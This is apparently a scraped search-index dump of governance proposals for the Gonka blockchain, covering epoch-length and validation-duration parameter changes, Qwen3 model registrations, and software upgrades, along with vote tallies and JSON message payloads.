2025-11-11 Voting ends 2025-11-11 Higher Bandwidth Limits & Voting Time Back to 24H Yes 394,887 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #8 – Upgrade Proposal: v0.2.4 Passed Submitted 2025-10-22 Voting ends 2025-10-22 Upgrade Proposal: v0.2.4 Yes 286,826 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #7 – Upgrade Proposal: v0.2.3 Passed Submitted 2025-10-03 Voting ends 2025-10-03 Upgrade Proposal: v0.2.3 Yes 132,672 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%)"}, {"location": "proposals/proposals/#2025-q3_1", "title": "2025-Q3", "text": "6 proposals
#6 – Upgrade Proposal: v0.2.2 Passed Submitted 2025-09-24 Voting ends 2025-09-25 Upgrade Proposal: v0.2.2 Yes 130,079 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #5 – Expedite voting for upgrades Passed Submitted 2025-09-23 Voting ends 2025-09-23 Expedite voting for upgrades Yes 172,265 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #4 – Upgrade Proposal: v0.2.2 Rejected Submitted 2025-09-22 Voting ends 2025-09-24 Upgrade Proposal: v0.2.2 Yes 109 (0.1%) · No 0 (0.0%) · Veto 109,637 (99.9%) · Abstain 0 (0.0%) #3 – Increase PoC Validation Length Passed Submitted 2025-09-20 Voting ends 2025-09-20 Proposal updates poc_validation_duration from 20 to 100. Yes 162,514 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #2 – Proposal introducing new Qwen3 models Passed Submitted 2025-09-09 Voting ends 2025-09-11 This proposal introduces new Qwen3 models including Qwen3-32B-FP8 and Qwen3-235B-A22B-Instruct-2507-FP8, along with updating parameters for Qwen2.5-7B-Instruct and QwQ-32B. Yes 62,612 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #1 – Correct Epoch Length Passed Submitted 2025-09-05 Voting ends 2025-09-07 Proposal updates epoch_length and restrictions length according to real block length in seconds. Yes 74,474 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%)"}, {"location": "proposals/proposals/2025-q3/", "title": "2025-Q3 Proposals", "text": "Passed Rejected Voting With Funding
2025-Q36 proposals
#6 – Upgrade Proposal: v0.2.2 Passed Submitted 2025-09-24 Voting ends 2025-09-25 Upgrade Proposal: v0.2.2 Yes 130,079 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #5 – Expedite voting for upgrades Passed Submitted 2025-09-23 Voting ends 2025-09-23 Expedite voting for upgrades Yes 172,265 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #4 – Upgrade Proposal: v0.2.2 Rejected Submitted 2025-09-22 Voting ends 2025-09-24 Upgrade Proposal: v0.2.2 Yes 109 (0.1%) · No 0 (0.0%) · Veto 109,637 (99.9%) · Abstain 0 (0.0%) #3 – Increase PoC Validation Length Passed Submitted 2025-09-20 Voting ends 2025-09-20 Proposal updates poc_validation_duration from 20 to 100. Yes 162,514 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #2 – Proposal introducing new Qwen3 models Passed Submitted 2025-09-09 Voting ends 2025-09-11 This proposal introduces new Qwen3 models including Qwen3-32B-FP8 and Qwen3-235B-A22B-Instruct-2507-FP8, along with updating parameters for Qwen2.5-7B-Instruct and QwQ-32B. Yes 62,612 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%) #1 – Correct Epoch Length Passed Submitted 2025-09-05 Voting ends 2025-09-07 Proposal updates epoch_length and restrictions length according to real block length in seconds. Yes 74,474 (100.0%) · No 0 (0.0%) · Veto 0 (0.0%) · Abstain 0 (0.0%)← Back to all proposals
"}, {"location": "proposals/proposals/2025-q3/#2025-q3-summary", "title": "2025-Q3 Summary", "text": "6Total Proposals 5Passed (83%) 1Rejected (17%) Governance Parameters3 Software Upgrade2 Models / IBC1"}, {"location": "proposals/proposals/2025-q3/1/", "title": "#1 – Correct Epoch Length", "text": "Passed
Proposal ID: 1
Type: Update Params
Submit: 2025-09-05 21:51 UTC
Voting: 2025-09-05 21:51 UTC → 2025-09-07 21:51 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/9f34f2c3c8203d8ae269934facaa79069f4d8012/proposals/epoch-length/README.md
View on gonka.gg
Proposal updates epoch_length and restrictions length according to real block length in seconds.
"}, {"location": "proposals/proposals/2025-q3/1/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2025-q3/1/#adjust-params-according-to-real-block-length", "title": "Adjust Params According to real block length", "text": "The proposal changes parameters: - epoch_params.epoch_length of inference module from 17280 to 15391 - restriction_end_block of restrictions module from 1555200 to 1385263 - blocks_per_year of mint module from 6307200 to 5618012
The initial values for epoch_params.epoch_length and restriction_end_block were calculated based on an estimated block time of 5 seconds per block. In practice, the average block time is closer to 5.61 seconds. This has led to epochs lasting approximately 27 hours instead of the intended 24 hours, and has similarly extended the transfer restriction period.
"}, {"location": "proposals/proposals/2025-q3/1/#new-values-estimations", "title": "New values estimations", "text": "At /chain-rpc/status we can get (for genesis nodes):
\"latest_block_height\": \"223562\",\n \"latest_block_time\": \"2025-09-05T21:17:32.061238117Z\",\n ...\n \"earliest_block_height\": \"1\",\n \"earliest_block_time\": \"2025-08-22T08:42:00.713839Z\",\nThen: - sec_per_day = 24*60*60 = 86400 - sec_per_block = (latest_block_time - earliest_block_time) / (latest_block_height - earliest_block_height) = 5.613373295874505 - epoch_params.epoch_length = 1 * sec_per_day // sec_per_block = 15391 - restriction_end_block = 90 * sec_per_day // sec_per_block = 1385263 - blocks_per_year = 365 * sec_per_day // sec_per_block = 5618012
/inference.inference.MsgUpdateParams 2 /inference.restrictions.MsgUpdateParams 3 /cosmos.mint.v1beta1.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"60\",\n \"poc_exchange_duration\": \"5\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"20\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"80\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"0\",\n \"poc_pruning_max\": \"0\",\n \"poc_slot_allocation\": null,\n \"confirmation_poc_safety_window\": \"0\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"20\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"60\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": null,\n \"bad_participant_invalidation_rate\": null,\n \"invalidation_h_threshold\": null,\n \"downtime_good_percentage\": null,\n \"downtime_bad_percentage\": null,\n \"downtime_h_threshold\": null,\n \"downtime_reputation_preserve\": null,\n \"quick_failure_threshold\": null,\n \"binom_test_p0\": null,\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": false,\n \"confirmation_poc_v2_enabled\": false,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": false,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"0\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"10752\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"0\",\n \"invalidations_sample_period\": \"0\",\n \"invalidations_limit_curve\": \"0\",\n \"minimum_concurrent_invalidations\": 0,\n \"max_inferences_per_block\": \"0\"\n },\n \"confirmation_poc_params\": null,\n \"genesis_guardian_params\": null,\n \"developer_access_params\": null,\n \"participant_access_params\": null,\n \"transfer_agent_access_params\": null,\n \"devshard_escrow_params\": null,\n \"fee_params\": null,\n \"delegation_params\": null,\n \"maintenance_params\": null\n }\n },\n {\n \"@type\": \"/inference.restrictions.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"restriction_end_block\": \"1385263\",\n \"emergency_transfer_exemptions\": [],\n \"exemption_usage_tracking\": []\n }\n },\n {\n \"@type\": \"/cosmos.mint.v1beta1.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"mint_denom\": \"ngonka\",\n \"inflation_rate_change\": \"0.130000000000000000\",\n \"inflation_max\": \"0.200000000000000000\",\n \"inflation_min\": \"0.070000000000000000\",\n \"goal_bonded\": \"0.670000000000000000\",\n \"blocks_per_year\": \"5618012\"\n }\n }\n]\nThe proposal changes parameters: - epoch_params.epoch_length of inference module from 17280 to 15391 - restriction_end_block of restrictions module from 1555200 to 1385263 - blocks_per_year of mint module from 6307200 to 5618012
The initial values for epoch_params.epoch_length and restriction_end_block were calculated based on an estimated block time of 5 seconds per block. In practice, the average block time is closer to 5.61 seconds. This has led to epochs lasting approximately 27 hours instead of the intended 24 hours, and has similarly extended the transfer restriction period.
"}, {"location": "proposals/proposals/2025-q3/1/full-proposal/#new-values-estimations", "title": "New values estimations", "text": "At /chain-rpc/status we can get (for genesis nodes):
\"latest_block_height\": \"223562\",\n \"latest_block_time\": \"2025-09-05T21:17:32.061238117Z\",\n ...\n \"earliest_block_height\": \"1\",\n \"earliest_block_time\": \"2025-08-22T08:42:00.713839Z\",\nThen: - sec_per_day = 24*60*60 = 86400 - sec_per_block = (latest_block_time - earliest_block_time) / (latest_block_height - earliest_block_height) = 5.613373295874505 - epoch_params.epoch_length = 1 * sec_per_day // sec_per_block = 15391 - restriction_end_block = 90 * sec_per_day // sec_per_block = 1385263 - blocks_per_year = 365 * sec_per_day // sec_per_block = 5618012
Passed
Proposal ID: 2
Type: Register Model
Submit: 2025-09-09 21:40 UTC
Voting: 2025-09-09 21:40 UTC → 2025-09-11 21:40 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/c8668fd0f6144109165e0386f55fe22eb3cb27c7/proposals/governance-artifacts/models-1/README.md
View on gonka.gg
This proposal introduces new Qwen3 models including Qwen3-32B-FP8 and Qwen3-235B-A22B-Instruct-2507-FP8, along with updating parameters for Qwen2.5-7B-Instruct and QwQ-32B.
"}, {"location": "proposals/proposals/2025-q3/2/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2025-q3/2/#new-supported-models", "title": "New supported models", "text": "The proposal introduces 3 new models:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 - first big model on Gonka chain.Qwen/Qwen3-32B-FP8 - fresh medium size model, replacement for Qwen/QwQ-32BRedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16 - replacement for Qwen/Qwen2.5-7B-Instruct (minor improvement to get rid of fully dynamic quantization)The methodology for computing the thresholds is detailed in the thresholds_sep2025.ipynb. A reproducible version of this notebook is available in the project repository at /mlnode/packages/benchmarks/notebooks/thresholds_sep2025.ipynb.
The data used for our experiments is available for verification link. For maximum confidence, participants are encouraged to recompute the thresholds independently using the provided notebook.
v3.0.9, which is the current version in the main branch..Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 is proposed with --max-model-len 240000. This value is optimized for deployment on systems with 320GB of VRAM, allowing, for example, two instances of the model to run on a standard 8xH100 server.If this proposal is approved, node operators will be able to modify their MLNodes config to switch to new models. Transition can be done asyncronously.
Detailed instructions for a seamless transition will be published on the official project website and announced through all relevant community channels.
"}, {"location": "proposals/proposals/2025-q3/2/#final-tally", "title": "Final Tally", "text": "Yes 62,612 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 62,612 votes"}, {"location": "proposals/proposals/2025-q3/2/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgRegisterModel 2 /inference.inference.MsgRegisterModel 3 /inference.inference.MsgRegisterModel 4 /inference.inference.MsgRegisterModel 5 /inference.inference.MsgRegisterModel Contract Details [\n {\n \"@type\": \"/inference.inference.MsgRegisterModel\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"proposed_by\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"id\": \"Qwen/Qwen2.5-7B-Instruct\",\n \"units_of_compute_per_token\": \"100\",\n \"hf_repo\": \"Qwen/Qwen2.5-7B-Instruct\",\n \"hf_commit\": \"a09a35458c702b33eeacc393d103063234e8bc28\",\n \"model_args\": [\n \"--quantization\",\n \"fp8\"\n ],\n \"v_ram\": \"24\",\n \"throughput_per_nonce\": \"20000\",\n \"validation_threshold\": {\n \"value\": \"97\",\n \"exponent\": -2\n }\n },\n {\n \"@type\": \"/inference.inference.MsgRegisterModel\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"proposed_by\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"id\": \"Qwen/QwQ-32B\",\n \"units_of_compute_per_token\": \"1000\",\n \"hf_repo\": \"Qwen/QwQ-32B\",\n \"hf_commit\": \"976055f8c83f394f35dbd3ab09a285a984907bd0\",\n \"model_args\": [\n \"--quantization\",\n \"fp8\",\n \"--kv-cache-dtype\",\n \"fp8\"\n ],\n \"v_ram\": \"80\",\n \"throughput_per_nonce\": \"6000\",\n \"validation_threshold\": {\n \"value\": \"97\",\n \"exponent\": -2\n }\n },\n {\n \"@type\": \"/inference.inference.MsgRegisterModel\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"proposed_by\": \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"id\": \"RedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16\",\n \"units_of_compute_per_token\": \"100\",\n \"hf_repo\": \"RedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16\",\n \"hf_commit\": \"a5609cbf939e46f4c17f189100d5e6825da318b0\",\n \"model_args\": [],\n \"v_ram\": \"24\",\n \"throughput_per_nonce\": \"20000\",\n \"validation_threshold\": {\n \"value\": \"991429\",\n \"exponent\": -6\n }\n },\n {\n \"@type\": \"/inference.inference.MsgRegisterModel\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"proposed_by\": \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"id\": \"Qwen/Qwen3-32B-FP8\",\n \"units_of_compute_per_token\": \"1000\",\n \"hf_repo\": \"Qwen/Qwen3-32B-FP8\",\n \"hf_commit\": \"aa55da1ecc13d006e8b8e4f54579b1ea8c3db2df\",\n \"model_args\": [],\n \"v_ram\": \"80\",\n \"throughput_per_nonce\": \"6000\",\n \"validation_threshold\": {\n \"value\": \"95814\",\n \"exponent\": -5\n }\n },\n {\n \"@type\": \"/inference.inference.MsgRegisterModel\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"proposed_by\": \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"id\": \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n \"units_of_compute_per_token\": \"10000\",\n \"hf_repo\": \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n \"hf_commit\": \"c0eb82898e3da8fb6dd017e3e6698a5e37b3a3e6\",\n \"model_args\": [\n \"--max-model-len\",\n \"240000\"\n ],\n \"v_ram\": \"320\",\n \"throughput_per_nonce\": \"1500\",\n \"validation_threshold\": {\n \"value\": \"970917\",\n \"exponent\": -6\n }\n }\n]\nThe proposal introduces 3 new models:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 - first big model on Gonka chain.Qwen/Qwen3-32B-FP8 - fresh medium size model, replacement for Qwen/QwQ-32BRedHatAI/Qwen2.5-7B-Instruct-quantized.w8a16 - replacement for Qwen/Qwen2.5-7B-Instruct (minor improvement to get rid of fully dynamic quantization)The methodology for computing the thresholds is detailed in the thresholds_sep2025.ipynb. A reproducible version of this notebook is available in the project repository at /mlnode/packages/benchmarks/notebooks/thresholds_sep2025.ipynb.
The data used for our experiments is available for verification link. For maximum confidence, participants are encouraged to recompute the thresholds independently using the provided notebook.
v3.0.9, which is the current version in the main branch..Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 is proposed with --max-model-len 240000. This value is optimized for deployment on systems with 320GB of VRAM, allowing, for example, two instances of the model to run on a standard 8xH100 server.If this proposal is approved, node operators will be able to modify their MLNodes config to switch to new models. Transition can be done asyncronously.
Detailed instructions for a seamless transition will be published on the official project website and announced through all relevant community channels.
"}, {"location": "proposals/proposals/2025-q3/3/", "title": "#3 – Increase PoC Validation Length", "text": "Passed
Proposal ID: 3
Type: Update Params
Submit: 2025-09-20 05:16 UTC
Voting: 2025-09-20 05:16 UTC → 2025-09-20 17:16 UTC
Expedited: Yes
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/2bf281cec95eaef061e2dfe46d4d104a7e1c2229/proposals/poc-validation-length/README.md
View on gonka.gg
Proposal updates poc_validation_duration from 20 to 100.
"}, {"location": "proposals/proposals/2025-q3/3/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2025-q3/3/#increase-poc-validation-duration", "title": "Increase PoC Validation Duration", "text": "This proposal changes the following parameter: - inference.epoch_params.poc_validation_duration from 20 to 120.
The network is growing faster than it can adapt, causing some nodes to not have enough time to validate other participants. This can make it difficult for new participants to join. This proposal increases the validation time, which should be sufficient to support 2,000-3,000 H100 GPUs.
Longer term we can enable scale by sampling validators or decreasing the automatic adjustment valid nonce / raw nonce.
"}, {"location": "proposals/proposals/2025-q3/3/#final-tally", "title": "Final Tally", "text": "Yes 162,514 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 162,514 votes"}, {"location": "proposals/proposals/2025-q3/3/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"60\",\n \"poc_exchange_duration\": \"5\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"120\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"80\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"0\",\n \"poc_pruning_max\": \"0\",\n \"poc_slot_allocation\": null,\n \"confirmation_poc_safety_window\": \"0\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"20\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"60\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": null,\n \"bad_participant_invalidation_rate\": null,\n \"invalidation_h_threshold\": null,\n \"downtime_good_percentage\": null,\n \"downtime_bad_percentage\": null,\n \"downtime_h_threshold\": null,\n \"downtime_reputation_preserve\": null,\n \"quick_failure_threshold\": null,\n \"binom_test_p0\": null,\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": false,\n \"confirmation_poc_v2_enabled\": false,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": false,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"0\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"10752\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"0\",\n \"invalidations_sample_period\": \"0\",\n \"invalidations_limit_curve\": \"0\",\n \"minimum_concurrent_invalidations\": 0,\n \"max_inferences_per_block\": \"0\"\n },\n \"confirmation_poc_params\": null,\n \"genesis_guardian_params\": null,\n \"developer_access_params\": null,\n \"participant_access_params\": null,\n \"transfer_agent_access_params\": null,\n \"devshard_escrow_params\": null,\n \"fee_params\": null,\n \"delegation_params\": null,\n \"maintenance_params\": null\n }\n }\n]\nThis proposal changes the following parameter: - inference.epoch_params.poc_validation_duration from 20 to 120.
The network is growing faster than it can adapt, causing some nodes to not have enough time to validate other participants. This can make it difficult for new participants to join. This proposal increases the validation time, which should be sufficient to support 2,000-3,000 H100 GPUs.
Longer term we can enable scale by sampling validators or decreasing the automatic adjustment valid nonce / raw nonce.
"}, {"location": "proposals/proposals/2025-q3/4/", "title": "#4 – Upgrade Proposal: v0.2.2", "text": "Rejected
Proposal ID: 4
Type: Software Upgrade
Submit: 2025-09-22 10:02 UTC
Voting: 2025-09-22 10:02 UTC → 2025-09-24 10:02 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/f0f3301dadae0a2f30bdc2968bebb21da81026f4/proposals/governance-artifacts/update-v0.2.2/README.md
Failed reason: proposal did not get enough votes to pass
View on gonka.gg
Upgrade Proposal: v0.2.2
"}, {"location": "proposals/proposals/2025-q3/4/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2025-q3/4/#upgrade-proposal-1", "title": "Upgrade Proposal 1", "text": "This document outlines the proposed changes for the first on-chain software upgrade. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services and modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, please refer to /docs/upgrades.md.
Existing participants are not required to upgrade their api and node containers. The updated container versions are intended for new participants who join after the on-chain upgrade is complete.
Proposed Process: 1. Active participants review this proposal on GitHub. 2. Once the PR is approved by a majority, a v0.2.2 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted. 3. If the on-chain proposal is approved, this PR will be merged immediately after the upgrade is executed on-chain.
Creating the release from this branch (instead of main) is intended to minimize the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new participants.
The on-chain upgrade from version v0.2.0 to v0.2.2 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q3/4/#migration-on-real-chain-data", "title": "Migration on real chain data", "text": "In addition to testnet validation, the migration logic is tested against a snapshot of mainnet data to ensure data integrity and a smooth transition. This procedure will be repeated immediately before the mainnet upgrade.
